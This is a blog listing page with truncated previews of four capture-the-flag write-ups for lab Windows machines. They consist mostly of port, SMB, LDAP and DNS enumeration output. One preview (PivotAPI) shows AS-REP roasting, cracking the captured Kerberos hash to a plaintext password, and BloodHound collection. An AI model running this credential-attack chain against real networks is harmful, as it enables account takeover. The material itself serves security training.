Hero Image
[HTB] Machine: Absolute

Absolute

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.11.181 --min-rate 10000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-03 19:44 BST
Nmap scan report for 10.10.11.181 (10.10.11.181)
Host is up (0.10s latency).
Not shown: 65509 closed ports
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49675/tcp open  unknown
49686/tcp open  unknown
49692/tcp open  unknown
49699/tcp open  unknown
49703/tcp open  unknown

└─$ nmap -Pn -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sC -sV 10.10.11.181  --min-rate 10000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-03 19:36 BST
Nmap scan report for 10.10.11.181 (10.10.11.181)
Host is up (0.18s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Absolute
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-10-04 01:35:57Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-10-04T01:36:48+00:00; +6h59m17s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-07-17T21:11:52
|_Not valid after:  2024-07-16T21:11:52
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-10-04T01:36:49+00:00; +6h59m17s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-07-17T21:11:52
|_Not valid after:  2024-07-16T21:11:52
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-07-17T21:11:52
|_Not valid after:  2024-07-16T21:11:52
|_ssl-date: 2023-10-04T01:36:48+00:00; +6h59m17s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-10-04T01:36:49+00:00; +6h59m17s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-07-17T21:11:52
|_Not valid after:  2024-07-16T21:11:52
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-10-04T01:36:42
|_  start_date: N/A
|_clock-skew: mean: 6h59m16s, deviation: 0s, median: 6h59m16s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.79 seconds
  • smb
└─$ smbclient -N -L //10.10.11.181                                                               
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.181 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
  • ldap
└─$ ldapsearch -H ldap://dc.absolute.htb -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=absolute,DC=htb
namingcontexts: CN=Configuration,DC=absolute,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=absolute,DC=htb
namingcontexts: DC=DomainDnsZones,DC=absolute,DC=htb
namingcontexts: DC=ForestDnsZones,DC=absolute,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

└─$ ldapsearch -H ldap://dc.absolute.htb -x  -b "DC=absolute,DC=htb"  
# extended LDIF
#
# LDAPv3
# base <DC=absolute,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1
  • dns
└─$ dig absolute.htb @dc.absolute.htb                                                                                   

; <<>> DiG 9.18.16-1-Debian <<>> absolute.htb @dc.absolute.htb
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 38236
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;absolute.htb.                  IN      A

;; ANSWER SECTION:
absolute.htb.           600     IN      A       10.10.11.181

;; Query time: 103 msec
;; SERVER: 10.10.11.181#53(dc.absolute.htb) (UDP)
;; WHEN: Wed Oct 04 17:29:51 BST 2023
;; MSG SIZE  rcvd: 57

└─$ dig axfr absolute.htb @dc.absolute.htb 

; <<>> DiG 9.18.16-1-Debian <<>> axfr absolute.htb @dc.absolute.htb
;; global options: +cmd
; Transfer failed.
  • dnsenum
└─$ dnsenum --dnsserver 10.10.11.181 -f /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt absolute.htb
dnsenum VERSION:1.2.6

-----   absolute.htb   -----                                                                                                                                                                                                                


Host's addresses:                                                                                                                                                                                                                           
__________________                                                                                                                                                                                                                          

absolute.htb.                            600      IN    A        10.10.11.181                                                                                                                                                               


Name Servers:                                                                                                                                                                                                                               
______________                                                                                                                                                                                                                              

dc.absolute.htb.                         1200     IN    A        10.10.11.181                                                                                                                                                               


Mail (MX) Servers:                                                                                                                                                                                                                          
___________________                                                                                                                                                                                                                         


Trying Zone Transfers and getting Bind Versions:                                                                                                                                                                                            
_________________________________________________                                                                                                                                                                                           

unresolvable name: dc.absolute.htb at /usr/bin/dnsenum line 900.                                                                                                                                                                            
                                                                                                                                                                                                                                            
Trying Zone Transfer for absolute.htb on dc.absolute.htb ... 
AXFR record query failed: no nameservers


Brute forcing with /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:                                                                                                                                                     
________________________________________________________________________________________                                                                                                                                                    
  
dc.absolute.htb.                         1200     IN    A        10.10.11.181                                                                                                                                                               
domaindnszones.absolute.htb.             600      IN    A        10.10.11.181
forestdnszones.absolute.htb.             600      IN    A        10.10.11.181

absolute.htb class C netranges:
________________________________


Performing reverse lookup on 0 ip addresses:
_____________________________________________

0 results out of 0 IP addresses.

absolute.htb ip blocks:
________________________

done.
  • Web Server

Wednesday, October 4, 2023 | 17 minutes Read
Hero Image
[HTB] Machine: PivotAPI

PivotAPI

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.10.240 --min-rate 5000                                                                              
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 03:10 BST
Nmap scan report for 10.10.10.240 (10.10.10.240)
Host is up (0.10s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49708/tcp open  unknown
52843/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 65.93 seconds

└─$ nmap -Pn -p21,22,53,88,135,139,389,445,464,593,636,1433,3268,3269,9389 -sC -sV 10.10.10.240 --min-rate 5000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 03:12 BST
Nmap scan report for 10.10.10.240 (10.10.10.240)
Host is up (0.10s latency).

PORT     STATE    SERVICE       VERSION
21/tcp   open     ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-19-21  03:06PM               103106 10.1.1.414.6453.pdf
| 02-19-21  03:06PM               656029 28475-linux-stack-based-buffer-overflows.pdf
| 02-19-21  12:55PM              1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
| 02-19-21  03:06PM              1018160 ExploitingSoftware-Ch07.pdf
| 08-08-20  01:18PM               219091 notes1.pdf
| 08-08-20  01:34PM               279445 notes2.pdf
| 08-08-20  01:41PM                  105 README.txt
|_02-19-21  03:06PM              1301120 RHUL-MA-2009-06.pdf
22/tcp   open     ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   3072 fa:19:bb:8d:b6:b6:fb:97:7e:17:80:f5:df:fd:7f:d2 (RSA)
|   256 44:d0:8b:cc:0a:4e:cd:2b:de:e8:3a:6e:ae:65:dc:10 (ECDSA)
|_  256 93:bd:b6:e2:36:ce:72:45:6c:1d:46:60:dd:08:6a:44 (ED25519)
53/tcp   open     domain        Simple DNS Plus
88/tcp   open     kerberos-sec  Microsoft Windows Kerberos (server time: 2023-10-05 19:12:42Z)
135/tcp  open     msrpc         Microsoft Windows RPC
139/tcp  open     netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  filtered ldap
445/tcp  open     microsoft-ds?
464/tcp  filtered kpasswd5
593/tcp  open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open     tcpwrapped
1433/tcp open     ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.10.240:1433: 
|     Target_Name: LICORDEBELLOTA
|     NetBIOS_Domain_Name: LICORDEBELLOTA
|     NetBIOS_Computer_Name: PIVOTAPI
|     DNS_Domain_Name: LicorDeBellota.htb
|     DNS_Computer_Name: PivotAPI.LicorDeBellota.htb
|     DNS_Tree_Name: LicorDeBellota.htb
|_    Product_Version: 10.0.17763
| ms-sql-info: 
|   10.10.10.240:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-10-05T19:05:41
|_Not valid after:  2053-10-05T19:05:41
|_ssl-date: 2023-10-05T19:13:30+00:00; -7h00m01s from scanner time.
3268/tcp open     ldap          Microsoft Windows Active Directory LDAP (Domain: LicorDeBellota.htb0., Site: Default-First-Site-Name)
3269/tcp open     tcpwrapped
9389/tcp open     mc-nmf        .NET Message Framing
Service Info: Host: PIVOTAPI; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-10-05T19:12:54
|_  start_date: N/A
|_clock-skew: mean: -7h00m01s, deviation: 0s, median: -7h00m01s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.10 seconds
  • smb
└─$ smbclient -N -L //10.10.10.240                                                              
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.240 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
  • dns
└─$ dig axfr LicorDeBellota.htb @PivotAPI.LicorDeBellota.htb                                                   

; <<>> DiG 9.19.17-1-Debian <<>> axfr LicorDeBellota.htb @PivotAPI.LicorDeBellota.htb
;; global options: +cmd
; Transfer failed.
  • ldapsearch
└─$ ldapsearch -H ldap://LicorDeBellota.htb -x -s base namingcontexts           
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=LicorDeBellota,DC=htb
namingcontexts: CN=Configuration,DC=LicorDeBellota,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=LicorDeBellota,DC=htb
namingcontexts: DC=DomainDnsZones,DC=LicorDeBellota,DC=htb
namingcontexts: DC=ForestDnsZones,DC=LicorDeBellota,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

└─$ ldapsearch -H ldap://LicorDeBellota.htb -x -b "DC=LicorDeBellota,DC=htb"
# extended LDIF
#
# LDAPv3
# base <DC=LicorDeBellota,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1
  • No results for rpc
  • ftp
└─$ ftp anonymous@10.10.10.240
Connected to 10.10.10.240.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||57367|)
150 Opening ASCII mode data connection.
02-19-21  03:06PM               103106 10.1.1.414.6453.pdf
02-19-21  03:06PM               656029 28475-linux-stack-based-buffer-overflows.pdf
02-19-21  12:55PM              1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
02-19-21  03:06PM              1018160 ExploitingSoftware-Ch07.pdf
08-08-20  01:18PM               219091 notes1.pdf
08-08-20  01:34PM               279445 notes2.pdf
08-08-20  01:41PM                  105 README.txt
02-19-21  03:06PM              1301120 RHUL-MA-2009-06.pdf
226 Transfer complete.
  • Running exiftool on pdf files shows LicorDeBellota.htb\kaorz
======== notes2.pdf
ExifTool Version Number         : 12.67
File Name                       : notes2.pdf
Directory                       : .
File Size                       : 279 kB
File Modification Date/Time     : 2020:08:08 12:34:25+01:00
File Access Date/Time           : 2023:10:06 19:12:03+01:00
File Inode Change Date/Time     : 2023:10:06 19:12:03+01:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.5
Linearized                      : No
Page Count                      : 5
XMP Toolkit                     : Image::ExifTool 12.03
Creator                         : Kaorz
Publisher                       : LicorDeBellota.htb
Producer                        : cairo 1.10.2 (http://cairographics.org)

Foothold

  • Let’s check if user is AS-REP-roastable
└─$ impacket-GetNPUsers -dc-ip PivotAPI.LicorDeBellota.htb LicorDeBellota.htb/kaorz -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Getting TGT for kaorz
$krb5asrep$23$kaorz@LICORDEBELLOTA.HTB:117660010b88116ef19ce2f9e608d1d9$a8f47a80fddd556b91bb360af849916358388168cf2ed0c2783c95ff09d799d504477fefe0d1a9ab33a92243939260e558b739cedd2a8c3d61bf85ae56360069cd38a4f14b04865afdbbbf99a3816da14b41058a0249c62c180d50337a6e3c27da5cdde876ca8b4f70f1d5624c1f3358e0a451bb5ec9cb3ee580148951680f5d06f2ce8c11bf61cb8600cbb290dd046a12ad9c8cae68e4ca9706c904189e4ef0a192f8cc192e6286241547ae151111d074323e54a174b945156365f6db2f80d9b7ec558ffa64b7fcd93206f055ecfbf973fa4fff67f20ea88d63fdc29d6aea709c7da2d8073ef9f7fcc3f36a39160138e0679042f7fd8441
  • Let’s crack it
    • kaorz:Roper4155
└─$ hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 4.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-12th Gen Intel(R) Core(TM) i5-12400, 1435/2934 MB (512 MB allocatable), 2MCU
...
$krb5asrep$23$kaorz@LICORDEBELLOTA.HTB:117660010b88116ef19ce2f9e608d1d9$a8f47a80fddd556b91bb360af849916358388168cf2ed0c2783c95ff09d799d504477fefe0d1a9ab33a92243939260e558b739cedd2a8c3d61bf85ae56360069cd38a4f14b04865afdbbbf99a3816da14b41058a0249c62c180d50337a6e3c27da5cdde876ca8b4f70f1d5624c1f3358e0a451bb5ec9cb3ee580148951680f5d06f2ce8c11bf61cb8600cbb290dd046a12ad9c8cae68e4ca9706c904189e4ef0a192f8cc192e6286241547ae151111d074323e54a174b945156365f6db2f80d9b7ec558ffa64b7fcd93206f055ecfbf973fa4fff67f20ea88d63fdc29d6aea709c7da2d8073ef9f7fcc3f36a39160138e0679042f7fd8441:Roper4155
  • The creds didn’t work for ssh
└─$ sshpass -p 'Roper4155' ssh kaorz@10.10.10.240
Warning: Permanently added '10.10.10.240' (ED25519) to the list of known hosts.
Permission denied, please try again.
  • No SPNs
└─$ impacket-GetUserSPNs LicorDeBellota.htb/Kaorz:'Roper4155' -dc-ip 10.10.10.240  
Impacket v0.11.0 - Copyright 2023 Fortra

No entries found!
  • No access to mysql
└─$ impacket-mssqlclient LicorDeBellota.htb/Kaorz:'Roper4155'@10.10.10.240 -windows-auth 
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[-] ERROR(PIVOTAPI\SQLEXPRESS): Line 1: Error de inicio de sesión del usuario 'LICORDEBELLOTA\Kaorz'.

User

  • Let’s check bloodhound
└─$ bloodhound-python -u kaorz -p 'Roper4155' -d licordebellota.htb -dc licordebellota.htb -ns 10.10.10.240 --zip
INFO: Found AD domain: licordebellota.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: licordebellota.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Found 28 users
INFO: Connecting to LDAP server: licordebellota.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 58 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: PivotAPI.LicorDeBellota.htb
INFO: Done in 00M 16S
INFO: Compressing output into 20231007112624_bloodhound.zip
  • Nothing interesting
    • Domain Users

Wednesday, October 4, 2023 | 21 minutes Read
Hero Image
[HTB] Machine: Acute

Acute

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.11.145 -T4 --min-rate 10000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-27 18:20 BST
Nmap scan report for 10.10.11.145 (10.10.11.145)
Host is up (0.12s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT    STATE SERVICE
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 33.16 seconds

└─$ nmap -Pn -p443 -sC -sV 10.10.11.145 -T4 --min-rate 10000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-27 18:21 BST
Nmap scan report for 10.10.11.145 (10.10.11.145)
Host is up (0.095s latency).

PORT    STATE SERVICE  VERSION
443/tcp open  ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=atsserver.acute.local
| Subject Alternative Name: DNS:atsserver.acute.local, DNS:atsserver
| Not valid before: 2022-01-06T06:34:58
|_Not valid after:  2030-01-04T06:34:58
| tls-alpn: 
|_  http/1.1
|_ssl-date: 2023-09-27T17:21:14+00:00; -41s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -41s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.34 seconds
  • Web server

![]

Wednesday, September 27, 2023 | 14 minutes Read
Hero Image
[HTB] Machine: Intelligence

Intelligence

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.10.248 -T4                                                            
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-06 17:07 BST
Nmap scan report for 10.10.10.248 (10.10.10.248)
Host is up (0.095s latency).
Not shown: 65518 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49691/tcp open  unknown
49692/tcp open  unknown
49708/tcp open  unknown
49714/tcp open  unknown

└─$ nmap -Pn -p53,80,88,135,139,389,445,464,593,636,3268,3269,9389 -sC -sV 10.10.10.248 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-06 17:11 BST
Nmap scan report for 10.10.10.248 (10.10.10.248)
Host is up (0.17s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Intelligence
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-09-06 23:10:33Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-06T23:11:56+00:00; +6h59m24s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-06T23:11:57+00:00; +6h59m24s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
|_ssl-date: 2023-09-06T23:11:56+00:00; +6h59m24s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-06T23:11:56+00:00; +6h59m24s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-09-06T23:11:17
|_  start_date: N/A
|_clock-skew: mean: 6h59m23s, deviation: 0s, median: 6h59m23s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 91.24 seconds

└─$ sudo nmap -sU --top-ports 10 -sV -sC 10.10.10.248
[sudo] password for kali: 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-06 17:23 BST
Nmap scan report for 10.10.10.248 (10.10.10.248)
Host is up (0.10s latency).

PORT     STATE         SERVICE      VERSION
53/udp   open          domain       Simple DNS Plus
67/udp   open|filtered dhcps
123/udp  open          ntp          NTP v3
| ntp-info: 
|_  
135/udp  open|filtered msrpc
137/udp  open|filtered netbios-ns
138/udp  open|filtered netbios-dgm
161/udp  open|filtered snmp
445/udp  open|filtered microsoft-ds
631/udp  open|filtered ipp
1434/udp open|filtered ms-sql-m
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m24s
  • smb
└─$ smbclient -N -L //10.10.10.248                         
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.248 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
  • dns
└─$ dig  @dc.intelligence.htb intelligence.htb 

; <<>> DiG 9.18.16-1-Debian <<>> @dc.intelligence.htb intelligence.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1581
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;intelligence.htb.              IN      A

;; ANSWER SECTION:
intelligence.htb.       600     IN      A       10.10.10.248

;; Query time: 95 msec
;; SERVER: 10.10.10.248#53(dc.intelligence.htb) (UDP)
;; WHEN: Wed Sep 06 17:29:23 BST 2023
;; MSG SIZE  rcvd: 61

└─$ dig axfr @dc.intelligence.htb intelligence.htb

; <<>> DiG 9.18.16-1-Debian <<>> axfr @dc.intelligence.htb intelligence.htb
; (1 server found)
;; global options: +cmd
; Transfer failed.

└─$ dnsenum --dnsserver 10.10.10.248 -f /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt intelligence.htb      
dnsenum VERSION:1.2.6

-----   intelligence.htb   -----                                                                                                                                                                                                            
                                                                                                                                                                                                                                            
                                                                                                                                                                                                                                            
Host's addresses:                                                                                                                                                                                                                           
__________________                                                                                                                                                                                                                          
                                                                                                                                                                                                                                            
intelligence.htb.                        600      IN    A        10.10.10.248                                                                                                                                                               

                                                                                                                                                                                                                                            
Name Servers:                                                                                                                                                                                                                               
______________                                                                                                                                                                                                                              
                                                                                                                                                                                                                                            
dc.intelligence.htb.                     3600     IN    A        10.10.10.248                                                                                                                                                               

                                                                                                                                                                                                                                            
Mail (MX) Servers:                                                                                                                                                                                                                          
___________________                                                                                                                                                                                                                         
                                                                                                                                                                                                                                            
                                                                                                                                                                                                                                            
                                                                                                                                                                                                                                            
Trying Zone Transfers and getting Bind Versions:                                                                                                                                                                                            
_________________________________________________                                                                                                                                                                                           
                                                                                                                                                                                                                                            
unresolvable name: dc.intelligence.htb at /usr/bin/dnsenum line 900.                                                                                                                                                                        
                                                                                                                                                                                                                                            
Trying Zone Transfer for intelligence.htb on dc.intelligence.htb ... 
AXFR record query failed: no nameservers

                                                                                                                                                                                                                                            
Brute forcing with /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:                                                                                                                                                     
________________________________________________________________________________________                                                                                                                                                    
                                                                                                                                                                                                                                            
dc.intelligence.htb.                     3600     IN    A        10.10.10.248
domaindnszones.intelligence.htb.         600      IN    A        10.10.10.248
forestdnszones.intelligence.htb.         600      IN    A        10.10.10.248


intelligence.htb class C netranges:
____________________________________



Performing reverse lookup on 0 ip addresses:
_____________________________________________


0 results out of 0 IP addresses.


intelligence.htb ip blocks:
____________________________


done.
  • ldap
└─$ ldapsearch -H ldap://10.10.10.248 -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=intelligence,DC=htb
namingcontexts: CN=Configuration,DC=intelligence,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=intelligence,DC=htb
namingcontexts: DC=DomainDnsZones,DC=intelligence,DC=htb
namingcontexts: DC=ForestDnsZones,DC=intelligence,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

└─$ ldapsearch -H ldap://10.10.10.248 -x -b "DC=intelligence,DC=htb"
# extended LDIF
#
# LDAPv3
# base <DC=intelligence,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1
  • Web Server
